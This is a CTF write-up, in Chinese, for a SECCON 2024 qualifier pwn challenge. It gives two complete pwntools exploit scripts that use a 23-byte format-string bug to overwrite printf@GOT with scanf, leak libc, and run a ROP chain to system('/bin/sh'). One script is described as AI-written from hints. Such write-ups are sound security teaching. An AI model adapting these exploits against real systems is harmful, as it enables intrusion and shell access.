paragraph
该题来自 SECCON 2024 Quals,反编译:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, nullptr);
setbuf(stdout, nullptr);
puts("\"What is your name?\", the black cat asked.");
__isoc99_scanf("%23s", format);
printf(format);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", format);
return 0;
}
方法一
可以进行格式化字符串攻击,这里主要的问题是限制 23 字节,因此没法写太多数据。分析 libc 的符号:
- __isoc23_scanf 在 0x5fa50
- printf 在 0x600f0
如果 libc 基地址以 0x1000 结尾,那么这两个函数的地址变为:
- __isoc23_scanf 在 0x60a50
- printf 在 0x610f0
这个时候,只需要覆盖 printf 的低 2 字节为 0x0a50,后续对 printf 的调用就是调用 scanf,这样就可以在最后一个 scanf 里进行任意长度的栈溢出。
与此同时,还有足够的空间来 leak libc 地址:%11$p。
这样,就可以完成后续的 ROP chain,pop rdi,再调用 system:
from pwn import *
context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"
while True:
if args.REMOTE:
p = remote(args.HOST, args.PORT)
else:
p = process("strace -o strace.log ./chall.patched", shell=True)
# p = process("./chall.patched")
elf = ELF("./chall.patched")
libc = elf.libc
# override printf to __isoc23_scanf, 1/16 success probability
p.recvuntil(b"black cat asked.")
# __isoc23_scanf @ 0x5fa50
# printf @ 0x600f0
# we hope that libc base ends in 0x1000:
# __isoc23_scanf becomes 0x60a50
# printf becomes 0x610f0
# the override works!
val = libc.symbols["__isoc23_scanf"] & 0xFFF
fmt = flat({0: f"%{val}c%8$hn%11$p".encode(), 16: elf.got["printf"]})
# pause()
# gdb.attach(p)
p.send(fmt[:23])
p.recvuntil(b"0x")
addr = int(p.recvuntil(p64(elf.got["printf"])[:3], drop=True)[:12].decode(), 16)
# return address for call *%rax in glibc
libc_addr = addr - 0x7FD89220E1CA + 0x7FD8921E4000
print(f"libc 0x{libc_addr:x}")
libc.address = libc_addr
rop = ROP(libc)
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address
# now we can override stack to get shell
sh_addr = next(libc.search(b"/bin/sh\x00"))
payload = (
b"A" * 0x28
+ p64(pop_rdi_ret)
+ p64(sh_addr)
+ p64(ret)
+ p64(libc.symbols["system"])
)
payload = (
b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
+ payload
+ b" warmly.\na" # trailing a required to let scanf return
)
try:
p.sendline(payload)
p.sendline(b"id")
p.recvuntil(b"uid")
except KeyboardInterrupt:
break
except:
p.close()
continue
p.interactive()
break
提供上述提示后,用 AI 完成的攻击代码:
#!/usr/bin/env python3
"""
One-shot format string with a 23-byte buffer.
1. Partial-overwrite printf@GOT (0x404028) low 2 bytes: printf -> __isoc23_scanf
(0x5fa50). Both share high bytes since (base16+0xfa50) and (base16+0x600f0)
carry identically into byte 2 for base16 in [0x1000, 0xe000].
count = (base16 + 0xfa50) & 0xffff must be <= 4 digits to fit the %11$p leak
in 23 bytes, so base16 must be 0x1000 (2640) or 0x2000 (6736); we verify the
guess with the leaked base16 and retry on fresh ASLR.
2. The final printf(" answered...%s warmly.\n", name) is now scanf: %s reads an
unbounded word into name -> stack overflow -> ROP: ret; pop rdi; "/bin/sh"; system.
3. scanf swallows one extra char after the trailing "\n" (ungetc fails on the
unbuffered stdin), so a sacrificial 'x' is sent before the shell takes over.
"""
from pwn import *
import re
import time
import random
context.binary = './chall'
context.log_level = 'info'
# ---- libc / binary offsets ----
RET_MAIN_OFF = 0x2a1ca # main's saved ret = base + 0x2a1ca
SCANF23_OFF = 0x5fa50 # __isoc23_scanf
SYSTEM_OFF = 0x58740
BINSH_OFF = 0x1cb42f
POP_RDI = 0x401283
RET_GADGET = 0x40101a
PRINTF_GOT = 0x404028
WS = b'\x09\x0a\x0b\x0c\x0d\x20'
def start():
return process(['./ld-linux-x86-64.so.2', '--library-path', '.', './chall'])
def leak_base(p):
"""read the %11$p leak -> libc base (or None)"""
out = b''
end = time.time() + 3
while time.time() < end:
try:
chunk = p.recv(timeout=0.3)
except EOFError:
break
if not chunk:
continue
out += chunk
if b'0x' in out:
break
m = re.search(rb'0x[0-9a-f]+', out)
if not m:
return None
return int(m.group(0), 16) - RET_MAIN_OFF
def try_exploit(count):
"""one connection; return process with a live shell, or None"""
p = start()
p.recvuntil(b'asked.\n')
# 23 bytes: %{count}c%8$hn%11$p + "\x28\x40\x40" + 4 NULs
# arg8 = printf@GOT ; %hn writes count (= __isoc23_scanf low16) ; %11$p leaks libc
payload = f'%{count}c%8$hn%11$p'.encode() + p64(PRINTF_GOT)[:3] + b'\x00' * 4
assert len(payload) == 23, len(payload)
p.send(payload)
base = leak_base(p)
if base is None:
p.close()
return None
# verify guessed count matched the real base16 (i.e. the %hn write is correct)
if (base & 0xffff) != ((count - SCANF23_OFF) & 0xffff):
p.close()
return None
# ROP over the scanf %s overflow:
# name@rbp-0x20 ; saved rbp at +32 ; saved ret at +40 ; chain continues at +48
system = base + SYSTEM_OFF
binsh = base + BINSH_OFF
rop = b'A' * 32 + p64(0) + p64(RET_GADGET) + p64(POP_RDI) + p64(binsh) + p64(system)
if any(b in WS for b in rop):
p.close()
return None
# second "printf" is now __isoc23_scanf: match the literal prefix, %s reads our
# ROP (no whitespace!) into name -> overflow -> main returns into our ROP chain.
prefix = b'answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
p.send(prefix + rop + b' warmly.\nx') # 'x' is swallowed by scanf
return p
def main():
for i in range(200):
count = random.choice([2640, 6736]) # base16 0x1000 / 0x2000
p = try_exploit(count)
if p is not None:
log.success(f'got shell! (base16 = {((count - 0xfa50) & 0xffff):#x}, attempt {i})')
p.interactive()
return
if i % 10 == 0:
log.info(f'[attempt {i}] retrying...')
log.failure('all attempts failed')
if __name__ == '__main__':
main()
方法二
不过,在 redbud 的平台上跑的时候,leak 出来的 libc 地址总是以 0x5000 或 0xd000 结尾,上面的办法就不 work 了,因为没有足够的空间来 leak libc 了。不过,另辟蹊径,还是实现了类似的结果:
首先,还是要覆盖 printf 的低地址,这次用的是 scanf 本体:
- scanf 在 0x66290
- printf 在 0x600f0
如果 libc 基地址以 0x5000 结尾,那么这两个函数的地址变为:
- scanf 在 0x6ba50
- printf 在 0x650f0
那么,这次要写入的就是 0xba50,让 printf 变成 scanf。此时就没法 leak libc 了,转而在后续的 ROP chain 里 leak:
- pop rdi + got puts + plt puts,调用 puts(puts),从而 leak libc
- 回到 main 函数的 scanf("%23s", format) 前面的位置(0x4011DD),把 rsi 指向 got 表中 printf 前面的位置,这样就可以用这个 scanf 来修改 printf 地址为 system
- 与此同时,把 rbp 也指向 got 表,这样一次 scanf 可以完成 "sh" 的植入,以及 printf 地址的修改
- 后续执行 scanf 之前,已经通过 puts 获取 libc 地址,因此后续再把 system 的地址发过去即可
from pwn import *
context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"
while True:
if args.REMOTE:
p = remote(args.HOST, args.PORT)
else:
# p = process("strace -F -o strace.log ./chall.patched", shell=True)
p = process("./chall.patched")
elf = ELF("./chall.patched")
libc = elf.libc
# override printf to scanf, 1/16 success probability
p.recvuntil(b"black cat asked.")
# scanf @ 0x66290
# printf @ 0x600f0
# we hope that libc base ends in 0x5000:
# printf becomes 0x650f0
# scanf becomes 0x6ba50
# the override works!
val = (libc.symbols["scanf"] & 0xFFF) + 0xB000
fmt = flat({0: f"%{val}c%8$hn".encode(), 16: elf.got["printf"]})
# pause()
# gdb.attach(p)
p.send(fmt[:23])
rop = ROP(elf)
pop_rsi_pop_r15_ret = rop.find_gadget(["pop rsi", "pop r15", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
pop_rbp_ret = rop.find_gadget(["pop rbp", "ret"]).address
ret = rop.find_gadget(["ret"]).address
# now we can override stack to return to main
# 0x4011dd: before scanf
payload = (
cyclic(0x28)
# puts(puts): leak libc
+ p64(pop_rdi_ret)
+ p64(elf.got["puts"])
+ p64(elf.plt["puts"])
# scanf("%23s", printf - 1 - 4)
# why 1: the z in payload below
# why 4: store the sh
+ p64(pop_rsi_pop_r15_ret)
+ p64(elf.got["printf"] - 1 - 4)
+ p64(0)
# rbp: used for arg of system called via printf plt
+ p64(pop_rbp_ret)
# note the 0x20 offset in lea -0x20(%rbp), %rax
+ p64(elf.got["printf"] - 4 + 0x20)
+ p64(0x4011DD)
)
payload = (
b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
+ payload
+ b" warmly.\nz" # the latest z is required for scanf to stop
)
try:
# end of fmt
p.recvuntil(b"daaa")
p.send(payload)
# read leaked libc address back
puts_resp = p.recvuntil(b"\x7f")[-6:]
except KeyboardInterrupt:
break
except:
p.close()
continue
puts_addr = u64(puts_resp + b"\x00\x00")
libc_addr = puts_addr - libc.symbols["puts"]
print(f"libc 0x{libc_addr:x}")
libc.address = libc_addr
# pause()
# gdb.attach(p)
# call system("sh")
p.sendline(b"sh\x00\x00" + p64(libc.symbols["system"]))
p.sendline(b"id")
p.interactive()
break
See also: https://blog.rosay.xyz/seccon-reflections/